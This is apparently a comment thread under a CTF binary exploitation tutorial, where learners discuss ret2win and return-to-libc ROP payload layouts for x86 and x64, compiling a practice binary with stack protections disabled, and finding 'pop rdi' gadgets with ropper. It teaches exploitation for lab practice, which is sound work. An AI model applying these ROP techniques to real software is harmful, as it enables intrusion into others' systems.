To accomplish the same thing in x86 we'd want: [padding, system, main, bin_sh]. The address we want to return to (return pointer) comes after the system() call in both payloads, the only difference is how the parameters are taken; in x86 they are read from the stack after the return addresses, for x64 they must be popped into registers before the return addresses.
Hope this makes sense, here's a couple of resources that helped me get my head around this: ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/calling-conventions and zhu45.org/posts/2017/Jul/30/understanding-how-function-call-works/#calling-a-function
My ropper is not working what to do
What's happening with it?
Hey mate, I tried to recreate this exploit in my machine, I tried it without setting a breakpoint in RET of the register name function The exploit didn't work. But when I set a breakpoint in RET of the Register name function it works fine. I can't find the reason for this behaviour of the binary, could be please explain? and It works well outside of gdb, if setting a breakpoint in the RET of the "Register name" function is mandatory how is this possible?
Not sure about that one mate! If it works with a breakpoint, it should work without one too 🤔
@@_CryptoCat Thanks, today i'll try to work that out 🙌
Thanks for your phenomenal explanation. Can you share your Patreon or PayPal? I would love to show my gratitude to you. Thanks so much!"
Thank you! Your kind feedback is all the payment I need 😊
64bit is not working about rip and eip
Did ya finish the video? Which part not working? Have you checked the scripts from: github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101
Excuse me sir, i have 1 problem.....
I have copied your source and saved it on my computer as "example.c" then I compiled it with the command "gcc example.c -o example -fno-stack-protector -z execstack -no-pie" then I checked "ropper --file example --search "pop rdi" but not found, it only shows up to "searching for gadgets: pop rdi" I compared it to your "ret2win_params" binary, and your binary can be found pop rdi while mine doesn't, am I wrong for the command the compile?
Hey! A few people have contacted me about this, looks like a compiler update has changed the instructions around. I can't remember what they swapped it with, it may still be possible to construct a payload for the ret2win but probably best to download the binary if you're just learning. You could also try compiling with an older version of gcc or manually adding a "pop rdi" instruction to the C code, something like this: github.com/Crypto-Cat/CTF/blob/main/pwn/binary_exploitation_101/06-return_to_libc/32-bit/secureserver.c 🙂
@@_CryptoCat how do we download the binary?
or how do i download the older version of ropper? or is it gcc?
@@rockedwow7217 I guess it will be gcc, you can check godbolt.org to see how the code will compile with different compilers. It's sister site dogbolt.org is also a valuable resource 🙂
@@_CryptoCat by the way, I am referring to the fact that i cant find 'rsi', or 'rdi' while using ropper or ROPgadget... can you help me with that, please?
i put a like to this video, but u should know that rop making part is not clear.
who returning ?, where ?, why ?.
this moments are essential to those who already in. but for nooobies is definately not
Wanna see something cool?
This function is TOP SECRET! How did you get in here?! :O
[Inferior 1 (process 454529) exited normally]
I managed to resume the execution properly and avoid the SIGSEGV!! (In the x64 version)
Nice!! where did you return to?
@@_CryptoCat returned from hacked to main+14 and then from main to __libc_start_call_main+22. Pushing our code onto the stack messed up the main's return adress so I inspected the stack beforehand to know where it was supposed to go and pushed this adress at the end of the payload.
@@beyondobscurity6689 Love it! Great job 🙌
dammm nice bro@@beyondobscurity6689